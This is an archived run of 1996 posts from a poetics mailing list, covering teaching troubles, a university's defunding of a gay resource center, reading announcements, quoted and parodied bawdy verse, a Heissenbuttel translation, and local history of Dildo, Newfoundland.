I use email lists for all of my courses--students here are automatically given an email account, although many never bother to access it. I also have set up web pages for all of my courses, with syllabi and resource links (including, for my poetry courses, a link to EPC and so to this very discussion). The problem is how to get the students to use these resources. There are Internet connected computers all over the campus in the computer labs, the dorms have ethernet connections, and dial in access from off campus is free (though that only gives access to email).

Any way, looks like we have bigger problems here at GMU. Check out my next post. . .

dean

↑ Index

460. **Dean Taciuch**
Classroom (?) trauma
Sat 21 Sep 1996

I'm forwarding a message that just came through the faculty list here at GMU. This illustrates that the problems of racism, sexism, etc that we've been discussing are not limited to the classroom.

> *Begin forwarded message*
>
> *The University Board of Visitors has put a freeze on funding for the slated gay and lesbian resource center here on campus because, as they say, homosexuality is illegal in the state of Virginia. This is, of course, incorrect. Sodomy is illegal (which means, in this state,*

> *anything but the missionary position with your married partner), but homosexuality is not. The center exists on paper, someone has been offered the job, etc., but now there's no money for it because of this. The person that, supposedly, is now in charge of the Board of Visitors' committee on the issue is EDWIN MEESE, the rabid ex-Attorney General to Ronald Reagan. No other center on campus has ever had to answer to the Board of Visitors. More forthcoming on this issue as more info. comes in, but there is a Pride Alliance meeting on Tuesday, Oct. 1st when this issue will be discussed, and there is another Board of Visitors meeting on November 20th where this issue will be discussed.*
>
> *Please, at this time, just spread the word about this. The Board of Visitors expects us all to just shut up and take it, so spreading information is the first step. Tell you students and colleagues.*

dean

↑ Index

461. **Judy Roitman**
Re: teaching traumas...
Sat 21 Sep 1996

Ah, it ain't only in lit/writing classes. When I do the requisite 2 minutes on woman/so-called minorities/other cultures and math in a class for future high school math teachers, inevitably a bunch of students gets violently upset, accusing me of favoring women -- it's even been mentioned to the associate chair. Another bunch tells me they are incredibly grateful...

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

462. **Kevin Killian**
SPT: Moriarity/Tu
Sat 21 Sep 1996

Small Press Traffic presents

Laura Moriarty
Hung Tu

Friday, September 27, 7:30 p.m.

New College Cultural Center
766 Valencia Street, SF
$5

Laura Moriarty (who I'm sure needs to introduction to this group) is the author of Symetry (Avec), like roads (Kelsey St.), and Rondeaux (Roof). She is the director of the American Poetry Archives at San Francisco State.

Hung Tu has been published in Situation, Mirage, and Tense Present (Incommunicato Press). His chapbook A Great Ravine is forthcoming from Parentheses Press. He's one of the most exciting young poets to come out of the poetry renaissance that's boiling in San Francisco.

↑ Index

463. **Kevin Killian**
SPT: Moriarity/Tu
Sat 21 Sep 1996

> *Laura Moriarty (who I'm sure needs to introduction to this group)*

That should read: needs NO introduction (and you could put a "whom" in there as well).

↑ Index

464. **Oren Izenberg**
Re: poetry and play
Sat 21 Sep 1996

Poetry and play: see a terrific book of what is essentially cultural anthropology called *The Singing Game* by Ione and Peter Opie. It documents origins and variants of, cross-cultural influences on, etc. children's games like "London Bridge".

↑ Index

465. **Pete Landers**
Re: poetry and play
Sat 21 Sep 1996

Gary Roberts wrote:
>
> I'm putting together a course on play, games, and lit, and am looking for
> recommendations-- I've got fictions and theater covered, but the poetry side
> of the experience needs help. Stein and Cage are in the running, but other
> suggestions would be appreciated. Silly or serious poems/poets/poetics
> are welcome.

> Thanks,
> Gary Roberts

Most replies have recommended reading. Here are some games:

Exquisite corpse is always fun to play. Each student writes one line as the poem is passed around the room.

There is another game in which people write several of their favorite words then compose a poem from that list.

Tami Regula and I have been playing with homophonic translation as a means to discovering the sound of Sappho. After much brain sweat we came up with this line:

Aster iceman, i'm fickle insulation
for
Asteres men amphi kalan selannan

See the homophonic translation thread from a few weeks ago. This was fun. We were fascinated by Zukofsky's Catullus. Hope this helps.

Pete Landers
[redacted]

↑ Index

466. **Joe Amato**
Re: teaching traumas...
Sat 21 Sep 1996

---

dean, so meese is up to his tricks?... geezus... sorry to hear this...

yeah, this is not exactly a classroom issue, it speaks to the larger institutional crises in (attacks on) higher ed... which filter into the classroom, to be sure...

as to getting classes online and such: one way is simply to *demand* same, assuming all class participants have access (many institutions provide email accounts these days to all students)... i've made this a basic part of the course, and i allow folks the space to complain about it (if they like)... but complaints should at the very least be informed by first-hand experience... this becomes, like reading and writing or calculating, one of the givens of classroom structure... there will be disparities in access, in any case, but even those who resist initially are likely to appreciate the experience in the long haul on pragmatic grounds... a quick check at the beginning of the semester is to insist that each student contact you via email...

which is not to say that you won't have persistent problems... the electronic stuff is gonna enjoy the same sorts of absenteeisms as the flesh & blood venues...

joe

↑ Index

467. Gabrielle Welford
Judy Grahn
Sat 21 Sep 1996

I'm not sure where "Descent" is published. I was around when she was writing it around 1986 or so, around the same time as the play about Helen was put on in the Bay Area. gab

↑ Index

468. Gabrielle Welford
e-mail for-ums
Sat 21 Sep 1996

I'm completely stuck on e-mail conversations as a requirement for my students now. One funny thing is that the students sometimes still haven't learned each other's name to face recognition. But this makes it even easier for them to blab away on e-mail--for instance about how they just can't bring themselves to talk in class, how they hate the reading, and othre things like how they've experienced racism in their own lives. Of course, so many of the students here being non-white is a help on that score. Most students do eventually get on and say something. Others write in several times a week. And this semesterr, I have 3 students on the class list who've stayed on from last semester and wrote in without my suggesting it to introduce themselves. They've volunteered to be kind of peer mentors to the younger folk in my present class. Warms the cockles of me eart.

I've had less experience with racism here in Hawaii than on the mainland, and there it was anti-gay prejudice. A bigger problem here is the difficulty of relating to the contexts of, say, British Victoriana, anything that has frozen winter in it... gab

↑ Index

469. **Tom Mandel**
reading retallack
Sat 21 Sep 1996

I don't know what reviews of JR's work have been written, but I think of her work as operating in an area one might dub "play of the world," where play has the sense of play in a joint or fitting and simultaneously the linked meanings of fun and experimentation.

Joan Retallack invites the reader to hear inside a response to fact and event that frames them for questioning before they reach one's subjectivity with their constructed or ideological power. At the heart of her work is the freedom of the reader, freedom in an ethical and imaginative sense. To free the reader's imagination of the world, and in her mind (imho) this moves the readre to a deeper sense of the ethic of action and response.

The work owes to Cage its openness to just hear the phenomena of language and meaning as happening in and of the silence and noise that are their/our largest context. From a very different set of sources (the Marx brothers I think) comes Retallack's characteristic "read" of language events for their metaphysical humor.

Anyway, that's where I begin in my sense of JR's "take" ... but they are just some immediate thoughts.

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

470. **George Bowering**
Re: redux is a drug
Sat 21 Sep 1996

I just found this from p. 91 of the Sun&Moon edition of Gertrude Stein's _Mrs. Reynolds_:

"I suppose said he that a dildo could be a lightning conductor."

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

471. **Julia Stein**
Re: POETICS Digest - 19 Sep 1996 to 20 Sep 1996
Sat 21 Sep 1996

>____
>Daniel Bouchard said:
>In some recent reading a comment was made that the people (mostly white men)
>with high school educations who feel disenfranchised and believe in
>"reverse-racism" and are falling into the ranks of those spouting vicious
>right-wing rhetoric of racial divisiveness and general assaults on poor people,
>and are likely candidates for the so-called "militias," etc. were, three
>generations ago the same people forming the rank and file of the CIO. The
>conclusion (made in the article) was(IS) a disastrous failure on the part of
>the Left (today), and an organizer's dream still waiting to happen.
>
>That's a lot of work. What do people think? And does poetry have a place in it?
>
>A: Poetry does have a place in it. Poetry can inform.
>
Yes, it does:
Poets and educators can organize poetry readings in solidarity with labor struggles. I organized one in support of the UNITE garment worker union campaign to end sweatshop conditions at Guess Inc. We all read about Kathy Lee Gifford as well as the Thai slaves making clothes in Los Angeles. We know that the clothing industry is largely sweatshop industry. Guess Inc. is one big sweatshop and firing workers who try to organize unions. The State of California did raids of Guess contractors and found out that their clothes are illegally sewn in people's homes, they don't pay minimum wage, they don't pay overtime pay, they falsify recrods. So I figured that this kind of stuff goes on as long as we all do nothing about it. Any kind of poetry can be read in such a reading; the reading helps educate people about Guess Inc. and gets people to boycott Guess.

And many poets and critics teach high school and college students--the ones who are targeted by Guess ads. Having a reading against Guess is another way

to educate students that there are alternatives to the rampant materialism re clothes since they are bombarded with the ads.

And if you really want to strike a blow a Guess, help leaflet a Guess shop in a shopping mall. Yes, poetry does have a place in it.

Julia Stein

↑ Index

472. Christina Fairbank Chirot
citings/sightings
Sat 21 Sep 1996

(seems like this might tie a few threads together . . .):

I've loafed around the streets sometimes, leaned against a storefront with my hat pushed back and one boot hooked around the other--hell, you've probably seen me if you've ever been out this way--I've stood like that, nice and friendly and stupid, like I wouldn't piss if my pants were on fire. And all the time I'm laughing myself sick inside. Just watching the people . . .

"You mean," I said slowly, "do I feel persecuted? Well, as a matter of fact I do, doctor. But I never worry about it. I can't say that it doesn't bother me, but--" "Yes? Yes, Mr. Ford?" "Well, whenever it gets too bad, I just step out and kill a few people. I frig them to death with a barbed wire cob I have. After that I feel fine" . . . .

"Stick around," I said. "I'll show you that corncob. Or maybe you can show me something from your collection--those Japanese sex goods you used to flash around. What'd you do with that rubber phallus you had? The one you squirted into that high school kid's face? Didn't you have time to pack it when you jumped the Coast?" . . .

"Me, Doc? But I sleep well. I don't have headaches. I'm not worried a bit. The only thing that bothers me is that corncob wearing out."

--Jim Thompson, The Killer Inside Me
--dbc

↑ Index

473. Dean Taciuch
Re: Classroom (?) trauma
Sat 21 Sep 1996

Some clarifications I've just gotten here: Although Ed Meese certain;ly doesn't favor a gay resource center, he is not on the Committe for Student Affairs (which defunded the resource center). He is on the Board Of Visitors (chair of

the Academic Affairs Committee!!). The motion to defund the center passed the entire BOV at something like 12-2. The new President of the University, wearing a "Diversity" button in support of the University's recent "Diversity" activities on campus, said nothing.

Yes, there's a big sign as you drive onto campus this week: "Mason Celebrates Diversity."

↑ Index

474. Rachel Loden
more flavours
Sun 22 Sep 1996

George Bowering wrote:
>
> I just found this from p. 91 of the Sun&Moon edition of Gertrude Stein's
> _Mrs. Reynolds_:
>
> "I suppose said he that a dildo could be a lightning conductor."

Thomas Nashe (1567-1601) in "The Merry Ballad of Nash his Dildo":

> My little dildo shall supply your kind.
> A youth that is as light as leaves in wind:
> He bendeth not, nor foldeth any deal,
> But stands as stiff as he were made of steel.

But then again in a more Benedettian mode (from "A Litany in Time of Plague"):

> Adieu, farewell, earth's bliss;
> This world uncertain is;
> Fond are life's lustful joys;
> Death proves them all but toys;
> I am sick, I must die.
> Lord, have mercy on us!

Rachel Loden

↑ Index

475. Alan Sondheim
uunames
Sun 22 Sep 1996

All My Uunames

empowerment uslitho compuchat convolve commspec duck straylight nha gra falstaff wolfe tml metro-net hope siotech satan fighter candy deli itcnet1 rdb suzys jcainc parousia bwen sdale cliplaw tusrifny ravinomics jupiter lions-wing dcisun mollusk clotho alan neuromancer apteryx essert mel maddog clarchitects clmultimedia londonfischer dongrn netcomsv atari nova powermail tcbdata perun hpi genesis fesny argos yarcomm nams2 perform ramnet njn ubellent warwick jennifer clara echo mydog kc2yu upaya absol cius crayola honey sci goo brann dont waena jmtunix softport thetis sss-gw emc treebranch server galaxy999 sjluucp tiffany salinasgroup amnumsoc strand tminet pubmedia cyb stone cemetery brownstone bottomer wbsg oli uslynx nn teamdnet cyberia trangy chesler wa2oga major prcs lamp comstat orb bicny salty rbsis dolphy wildlife girisuci NYMSYS mtgany midnite eastnet icphost stam10 gbs homer

---

↑ Index

476. cris cheek
desire / and the 39 steps
Sun 22 Sep 1996

lunges towards the bell. duty-led and vanishing before an introduction could be gleened. convention riddled counter cultures replicating market priveleges of the branding mall. surprising how an exit could be so effected as to shame itself by so refusing.

↑ Index

477. Herb Levy
teaching traumas
Sun 22 Sep 1996

I haven't been following this thread very closely, but a book and magazine that MIGHT be useful in this context is Race Traitor edited by Noel Ignatiev and John Garvey. The book (published by Routledge) draws from the first five or six issues of the magazine. The address for the magazine is P O Box 603, Cambridge, MA 02140.

The focus is on the social construction of race, and abolishing, not racism, but the notion of a white race, with lots of first person accounts amidst the polemics.

Herb Levy
[redacted]

↑ Index

478. Jonathan Brannen
Re: POETICS Digest - 20 Sep 1996 to 21 Sep 1996
Sun 22 Sep 1996

I'll be in the Seattle area from Oct. 3 through Oct. 9 including forays to Portland and Vancouver. I'd be interested in meeting any subscribers to this list who live in those vacinities. Contact me back-channel <[redacted]>.

Jonathan Brannen

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479. Christina Fairbank Chirot
New journal (fwd>
Sun 22 Sep 1996

Gender-related topics on anything involving sound and
"avant-garde" would be welcome.

==========
==========

WOMEN AND MUSIC: A JOURNAL OF GENDER AND CULTURE

International Alliance for Women in Music announces the inauguration of a new publication:

WOMEN AND MUSIC: A JOURNAL OF GENDER AND CULTURE is a journal of scholarship about women, music, and culture. Drawing on a wide range of disciplines and approaches, the refereed journal seeks to further the understanding of the relationships among gender, music, and culture, with special attention being given to the concerns of women.

Submissions of varying length are now being accepted for consideration in the inaugural issue. Expected publication of the first issue is winter, 1997. Author guidelines: Send three copies, two without identifying information and one with, and a disk copy to:

Women and Music/IAWM
Department of Music
B-144 Academic Center
The George Washington University
Washington, DC 20052

All submissions undergo a blind review process.

For further information, call the IAWM office at [redacted], or send a FAX [redacted], or an e-mail message to: Catherine Pickar at <[redacted]>.

WOMEN AND MUSIC: A JOURNAL OF GENDER AND CULTURE will be available to IAWM members as part of the current dues structure and to non-IAWM members for a fee.

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The George Washington University
Washington, DC, 20052

Phone: [redacted]
FAX: [redacted]

↑ Index

480. **Tony Green**
Re: Classroom (?) trauma
Sun 22 Sep 1996

Diversity, Dean, shouldn't that read Perversity?

Tony Green,
e-mail: [redacted]

↑ Index

481. **Timothy Liu**
Re: reading retallack
Sun 22 Sep 1996

I was just in the Cedar Rapids Barnes and Noble this morning and read a review of AFTERIMAGES in the latest issue of (all places) PRAIRIE SCHOONER, a rather nice layman's intro into Retallack's poetics . . .

Timothy Liu

↑ Index

482. **Charles Bernstein**
Helmut Heissenbuttel 1921-1996
Sun 22 Sep 1996

I note with sadness a small item in today's New York Times marking the death of Helmut Heissenbuttel, a marvelous German poet, whose work will be known to many on this list. The Times, via the AP, presents Heissenbuttel as a "leader in the post-Dada style of literature known as concrete poetry, an experimental form relying on puns and other wordplay, and not adhering to the rules of grammar and punctuation." What? Well ... not quite, not even nearly ...

I have three pamphlets of Heissenbuttel translated by Rosmaire Waldrop and published by Diana's BiMonthly (Tom Ahearn) in 1977: The Dilemma of Being High and Dry, Schematic Development of Tradition, and Novel. The middle of these ends like this:

"and thus those who aren't there any more have already taken along immeasurably much of what those who were there did and resolved in memory of those who weren't there immeasurably much is in possession of those who aren't there and it will always grow more and more and since they have it in their

possession and this possession is ever growing one can in regard to those who aren't there speak of their memory of those who are there

because those who aren't there any more were once there

not being there is something that is thought of while being there and being there is living off the possession which those what aren't there are still accumulating

in the name of those who aren't there any more and are more

because those who aren't there anymore and are more have a name and we are there in their name."

*****
And to all those out in Poeticsville
Have a good 5757

↑ Index

483. Loss Glazier
Poetics back files
Sun 22 Sep 1996

There have been some topsy turvey times in the churning bowels of the computing center here perched on Niagara as the machines pose, mimic greek gods, and try on hair styles as flashy as those of the fifties. E-mail has sometimes been down for days. However, it is my good luck to be able to report that some stability has been reestablished - or at least it seems so at this ripe hour of the weekend. Let's hope this continues! So, on to the news. I wanted to let everyone know that I've just successfully updated the Poetics list back files. It requires a lot of cooperation between machines and so has been difficult to accomplish. But we should be up to date now - through the current month.
Loss --- Loss Glazier <[redacted]> http://writing.upenn.edu/epc

↑ Index

484. Joshua N Schuster
Ben Friedlander reading @ Upenn
Mon 23 Sep 1996

Hi all,

Below is an announcement for a new reading series sponsered by Upenn as funneled thru the Writers House. The program is for the most part run by undergraduates. The programming is inconsistent, optimistic, and not meant to be kept as a secret. No entrance fees; all are welcome. Another another Website with more info:

http://www.english.upenn.edu/~wh

or call us at 215-573-WRIT

Next reading: Juliana Spahr and Chris Stroffolino, Oct. 7-8.

More later.

-Joshua Schuster

> ******THE WRITERS HOUSE--3805 Locust Walk******
>
> *From Sept. 26-28*
>
> *presents (its first)*
>
> *Writer-In-Residency:*
>
> ****BENJAMIN FRIEDLANDER****
>
> *Reading Poetry at 8pm, Thursday, Sept. 26*
>
> *---*
>
> **AT 7pm, FRIDAY, SEPT. 27**
>
> *All Welcome to:*
>
> *"What to do with all this writing?"*
> *An Informal Panel on the Future Uses of a Literary History*
>
> ***WITH: Ben Friedlander, Bob Perelman, Ron Silliman and Craig Saper***

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485. George Bowering

Re: more flavours

Mon 23 Sep 1996

> *George Bowering wrote:*
>
> *I just found this from p. 91 of the Sun&Moon edition of Gertrude Stein's _Mrs. Reynolds_:*
>
> *"I suppose said he that a dildo could be a lightning conductor."*

Rachel Loden added:
>
>Thomas Nashe (1567-1601) in "The Merry Ballad of Nash his Dildo":
>
> My little dildo shall supply your kind.
> A youth that is as light as leaves in wind:
> He bendeth not, nor foldeth any deal,
> But stands as stiff as he were made of steel.
>
>But then again in a more Benedettian mode (from "A Litany in Time of
>Plague"):
>
> Adieu, farewell, earth's bliss;
> This world uncertain is;
> Fond are life's lustful joys;
> Death proves them all but toys;
> I am sick, I must die.
> Lord, have mercy on us!
>
Excellent!

Just this weekend I was looking at some early Emily Dickinson, and found this:

> Success is counted sweetest
> By those who ne'er succeed.
> To comprehend a dildo
> Requires sorest need.

As John Crowe Ransome used to say: "Amazing!"--shaking his head of locks the while.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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486. **Pierre Joris**

Re: Helmut Heissenbuttel 1921-1996

Mon 23 Sep 1996

I recently translated a text by Heissenbuttel for the second volume of POEMS FOR THE MILLENNIUM, & would like to offer it here to honor him, preceded by the "commentary" Jerry Rothenberg & I composed for HH. -- Pierre

Helmut Heissenbuttel

Changes in language mean changes in the interpretation of the world. (H.H.)

Probably the most consistently experimental of the postwar Gruppe 47 writers, Heissenbüttel's prodigious & very varied output (poems, proses, essays, novels, & concrete & semantic experiments that prove him a true heir to Dada & Gertrude Stein) has been shockingly little translated into English to date. The final section of his theoretical text, Premises, reads in part: "My experience of a fundamental change arose from the situtation in which literary speech, exemplary speech, is forced to involve itself explicitly and specifically with the ground of language itself. When the traditional way of saying things failed, it became a matter of penetrating, so to say, into the interior of language to break it open and question it in its most hidden connections. The result of this cannot be a new language. It is a way of speaking that plays on its contrasts with traditional syntax and word usage. ... This essential indeterminacy factor never permits it to arrive at what one could call image or metaphor. Image and metaphor, as something clearly identifiable, would be part of that language which is withdrawing itself. The subjects, objects and predicates of the sentence drop away because the experience, which is being related, stands outside the subject-object relation. ... Connections are made not through systematic and logico-syntactical interweavings, but through connota-tions, through ambiguities -- outgrowths of a decayed syntax. Uncertainty, alienation, fumbling-in-the-dark (...) become thematically visible in the most wornout cliches and petrified slogans of culture, become thematic with the use of the little particle 'because.' None of this happens in an 'abstract' combination of 'linguistic matter,' as if instead of stains, drips and brush-slaps one now used words and sentence fragments. Nor is it some kind of 'encipherment.' It happens as a first time attempt to penetrate and get a foothold in a world that still seems to escape language. The boundary that is reached (...) is the boundary of that which is not yet sayable."

Helmut Heissenbuttel

from Textbook 10

Lesson 3

and then down into the black soul

1

to stylize to deny the body can be traced back to rationality in that context also the desirable body it has to be that that too part of the calculation the desirable a kind of lure

2

and then down into the black soul

3

what I want to say is I saw it the room naked as a hand I locked up the black princess the sheath of the angel naked I swear it from head to toe from anus to navel what I want to say is my mind rotates in images of beauty and desire my gaze embraces naked what I want to say is fruit of a suit flight of a bird

4

and then down into the black soul

5

enjoyably and deeply I lost myself in all the minglings and intertwinings of joy and pain from which emanate the spice of life and the flower of feelings a florid fire flowed through my veins what I dreamed was not just some kiss not just the wish to break the smarting stings of longing it is not for your lips alone that I long or for your eyes or for your body but it was a romantic confusion of all of these things a wondrous tangle of all the various remembrances and longings.

6

and then down into the black soul

7

the element wherein desire and its object exist indifferently against each other and autonomously is the alive Dasein the gratification of desire sublates this as far as it concerns its object but this is the element which gives both their separate reality rather a Being that is essentially a representation

8

and the down into the black soul

9

gratified lust does indeed carry the positive meaning to have become itself as objective self-consciousness but just as much the negative one namely to have sublated itself and by grasping its realization only in terms of that meaning its experience enters its consciousness as contradiction wherein the achieved

reality of its singleness sees itself annihilated by the negative being and yet is the selfsame's devouring power

10

and then down into the black soul

11

in the silver moonlight alongside the ships and the large buildings and the canals which cut into and through the city's innermost core the forest of masts the lines of beams and cordage crossing a thousand fold all in moonlight strange and magic at one corner but a glance into a brightly lit room where a hundred diligent hands were sewing sails

12

and then down into the black soul

13

actually today everything is like yesterday except for the hallway where yesterday the handbag kept surprising me today I am surprised that the handbag is no longer there thus it would be more accurate to say that today everything is completely different from yesterday but then again not really either

translated by Pierre Joris

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487. **Joe Amato**
Re: teaching traumas
Mon 23 Sep 1996

herb, yes, i'm aware of _race traitor_, have used an excerpt in one of my classes a while back... most def. can be useful in focusing discussion, as you suggest...

joe

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488. **Rachel Loden**
Re: more flavours
Mon 23 Sep 1996

> *George Bowering wrote:*
>
> *I just found this from p. 91 of the Sun&Moon edition of Gertrude Stein's _Mrs. Reynolds_:*

> *"I suppose said he that a dildo could be a lightning conductor."*
>
> *Rachel Loden added:*
>
> *Thomas Nashe (1567-1601) in "The Merry Ballad of Nash his Dildo":*
>
> *My little dildo shall supply your kind.*
> *A youth that is as light as leaves in wind:*
> *He bendeth not, nor foldeth any deal,*
> *But stands as stiff as he were made of steel.*
>
> *But then again in a more Benedettian mode (from "A Litany in Time of Plague"):*
>
> *Adieu, farewell, earth's bliss;*
> *This world uncertain is;*
> *Fond are life's lustful joys;*
> *Death proves them all but toys;*
> *I am sick, I must die.*
> *Lord, have mercy on us!*

George Bowering added:
> >
> Excellent!
>
> Just this weekend I was looking at some early Emily Dickinson, and found this:
>
> Success is counted sweetest
> By those who ne'er succeed.
> To comprehend a dildo
> Requires sorest need.
>
> As John Crowe Ransome used to say: "Amazing!"--shaking his head of
> locks the while.

What a coincidence! I just stumbled over this nugget from Millay's "Ashes of Life":

Love has gone and left me and the days are all alike;
Eat I must, and sleep I will, -- and would that night were here!
But ah! -- to lie awake and hear the slow hours strike!
Would that it were day again! -- with twilight near! ...

Love has gone and left me, -- and the neighbors knock and borrow,
And life goes on forever like the gnawing of a mouse, --

And to-morrow and to-morrow and to-morrow and to-morrow
There's this little dildo and this little house.

Who'd a thunk it?

Rachel Loden

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489. **Gary Roberts**
poetry and play
Mon 23 Sep 1996

Thanks to various poetics players for your tips. In case this thread is not yet played out, I would appreciate help with a less important pedagogical problem: how to use, or criticize, or resist, the generalization that "all is play," which young adults seem to reach for when the topic of play is opened up for discussion. It seems to me that they learn this move from consumer cable-surfing culture, and I have a devil of a time talking about differences or discriminations after that totalization is laid on the table. Experimental poetry then becomes one option among all others, and in the classroom at least, new readers of it can dismiss it as boring or accept it as obvious; either way, its sparkle dims. This result also might come from the potential contradiction in studying play instead of playing it, and I do plan on putting play-time (exquisite corpse, etc.) into the scheme of things.

Often the questions arise: what is not play? not language play? Common answers: work, reality, instrumental language, absence of language. A related topic then pops up: play is an end-in-itself, rather than means to an end. But the implicit formalism of this claim will not do for radically playful language games which have explicit poetic or political aims.

How can an institutional setting generate fun and transformative study of literary play?

Gary Roberts

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490. **henry gould**
Re: poetry and play
Mon 23 Sep 1996

On Mon, 23 Sep 1996 11:33:42 -0500 Gary Roberts said:
>
>Often the questions arise: what is not play? not language play? Common
>answers: work, reality, instrumental language, absence of language. A

related
>topic then pops up: play is an end-in-itself, rather than means to an end. But
>the implicit formalism of this claim will not do for radically playful language
>games which have explicit poetic or political aims.
>
>How can an institutional setting generate fun and transformative study of
>literary play?

Some vague off-the-cuffers on this one: Maybe one way would be to raise the issue, in a kind of general anthropological sense, of the border between work and play, serious and festive. Going back to when "miming" of divine beings was both serious & make-believe at the same time. Festivals as "sacred" times when cultures confront (and mystify) what they hold ultimately serious THROUGH play. Maybe the borderline where work and play are indistinguishable is analogous to "free" thinking, contemplation, creative invention. Peirce called it "musement" - "retroductive" free/ordered thinking about the origins or meaning of things undertaken by science & philosophy. How does that Frost poem go?

Only when ... are one,
And the work is play for mortal stakes,
Is the deed ever really done
For heaven and the future's sakes.

--and the irony of how such cultural "play" (various intellectual/political "power plays" throughout history) actually organizes a society's WORK on a vast scale...

Another way to think about it: the play of art and poetry is actually part of a larger, more general, and more dramatic conversation ongoing in a society about how to live. Example: Tolstoy in Russia. Play in the context of social evil becomes morality play. - Henry Gould

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491. Herb Levy
Subtext readings fall '96
Mon 23 Sep 1996

For those of you making fall travel plans: please consider the following schedule of readings in Seattle's [redacted] series. I'm sure that one or more will appeal to anyone on the list.

Note that these readings can be part of package tours which may be customized for your personal interests: play the first piano that John Cage prepared; visit historic grunge rock clubs; drink beer where Theodore Roethke drank beer (and where students of students of students of Roethke still drink beer);

experience Seattle's fabled public art collection; see the site of the first outdoor espresso cart in North America; meet former Microsoft employees; see the Boeing hangar that's been called the largest building in the world; etc. Hoo-hah.

All performances scheduled to start at 7:30 pm unless otherwise noted:

October 17

Robert Mittenthal
Mary Margaret Sloan

November 9 (8:00 PM)

Original and classic sound poetry performed by Jaap Blonk

November 21

Roberta Olson
Aaron Shurin

December 19

Judith Roche
Sharon Thesen

The Speakeasy's on the NW corner of 2nd Avenue & Bell Street in Seattle's Belltown district. You know, catty corner from Wall of Sound, just below the 211 pool hall.

Writers on the list making travel plans for winter/spring '97, let us know if you'll be in the area: we may be able to schedule a reading. Respond by e-mail & I'll put you in touch with the (as-yet-to-be-determined) curators for 1997 readings.

See you all there.

& don't forget to check out the always growing Web site:
<http://www.speakeasy.org/subtext/>

Bests,

Herb Levy
[redacted]

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492. VIDAVER
Dildo Whaling
Mon 23 Sep 1996

Since Maria Damon requested more information about Dildo, NF, I offer the following selections from local web pages regarding the place & name.

"DILDO"
[http://www.stemnet.nf.ca/~jlafitte/school/Dildo1.html]

Dildo is a very historic place that was settled in the early 1800's by Reids, Prettys, Smiths, and the Newhooks. During the 1980's these names were still predominant names in the community. There are about 1,000 or more people currently living in Dildo. Dildo is located very close to good fishing grounds and the cod fishery has always been its primary basis of the economy until the "COD MORATORIUM", that was issued by John Crosby almost three years ago in the year 1992. In the late 1850's herring fishing began and then some years later a sawmill and a butter factory opened.These industries did not last long but in the later part of the Nineteenth Century Dildo was well-known for its squid, where Americans and Canadians came regularly to purchase bait.

In 1889 a permanent fisheries commission was set up for the Colony and a fishery was established on Dildo Island under the direction of A. Neilson, Superintendent of the Fisheries. This hatchery was one of the most modern and largest of its type in the world, and was designed to hatch between two million and three million cod in a season. A spawning pond was added in 1891 and a 5.5 m high windmill to provided the power to pump sea water into the pond. In 1891, 39,550,000 cod and 517, 353,000 lobsters were hatched. Two years later 201,435,000 cod and 517,353,000 lobster were propagated. Twenty people were employed in the hatchery but was discontinued because of the financial crisis of the Colony in the 1890's.

In the Twentieth Century dildo was a flourishing whaling centre until the ban on whaling in the early 1970's brought this industry to a close. The closing of the whaling industry also had an effect on the mink ranches because it depended on whale meat as a cheap source of food. In 1955 an entire mink farm was transported from Lester Island, near Vancouver, to Dildo but in the late 1960' rising feed prices forced the ranches to close. Dildo has changed a lot since the 1800's mainly of its economic growth. There are a lot more businesses and resources that have been created and up-dated since this time. There are about 3 stores in Dildo and there is another about to be open which will be a grocery store. There are about four or five people in Dildo who have started their own businesses which continues to grow.

Even though Dildo doesn't have a town council it still has many resources and regarded for its activities. Dildo has it's own swimming pool, an SUF lodge, and Lions centre. There is also baseball field but it's old and falling down so it is rarely used. Every year Dildo celebrates Canada Day and our own Traditional Dildo Day. These events are held on the swimming pool grounds where there are many activities, such as games, swimming, hot dogs, cold plates, and much more. As you can see Dildo is a very historic and traditional community.

"Dildo name"
[http://www.stemnet.nf.ca/~jlafitte/school/Dildo_nm.html]

It seems like the name of our fair town (Dildo) has attracted some attention albeit on the condescending type but hey attention is attention. I must appologize to all that came before that I hadn't addressed the very interesting point about our name sake and that it is not a town of perverts but rather a quaint, historic seaside town on the Eastern shores of Trinity Bay, Newfoundland with a proud seafaring history of fishing, whaling and sealing. Even though some of these ways of obtaining a livelihood are not the politically correct thing to do today noteably whaling and sealing and the government has put a moritorium on cod fishing... I don't mean to ramble. Back to the name Dildo. The history of the name varies depending on whom you speak to but basically it come down to three basic thoughts. .

1. It is thought the name came from a place in Portugal/Spain or
2. It is the name of an algonquin tree or
3. It comes from the shape of the headland that forms Dildo harbour.

Take your pick it doesn't realy matter. The name has survived the passage of time and while some of the faint of heart in the region want the name to be changed as they have done in other places. No more can one go to Gay Side or Hibbs Hole as they now have more politically correct names I hope our namesake will endure. If it was good enough for our fore fathers it shall be good enough for us.

...

An artcile on Whaling in South Dildo can be found at:
http://www.stemnet.nf.ca/~jlafitte/school/sdldohis.html

& A crude map of the Avalon Penninsula may be found at:
http://www.stemnet.nf.ca/~jlafitte/school/school.gif

Blaketown, however, seems to me to be the more interesting site
south of Heart's Desire:
http://www.stemnet.nf.ca/~jlafitte/school/blakehis.html

& while there, poetics list members may be interested in the local words:
http://www.wordplay.com/tourism/folklore/newfwords.html

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493. **Julia Stein**
Re: teaching traumas
Mon 23 Sep 1996

My major teaching trauma is last Novemeber I saw in the Los Angeles Times that Ethan Thomas Jr, one of my former African-Anmerican students, had just been killed at 22 years. He was also a journalist intern at the Los Angeles Times. He was in my class when I taught English in a community college in Southcentral Los Angeles. He was one of the best student/writers I ever had, was managing editor and journalist on the school newspaper. I remember when the class had to do autobiographical writing Ethan wrote about seeing cops stopping people in Southcentral. He wanted to report on it for the Los Angles Times, told the cop he was a Times reporter but the policeman wouldn't believe him. I had him read the story to the class and he was an exceptionally powerful reader of his own work. He also had a rare sensitivity to the plight of other people's suffering. AFter Ethan's death, the Times published another autobiographical piece of his in which he described his mother as being addicted to crack cocaine and asking him to buy crack for him her at a young age. He was trying to leave that life behind, make a new life for himself as a journalist, and was ready to transfer to a state university when he was killed.

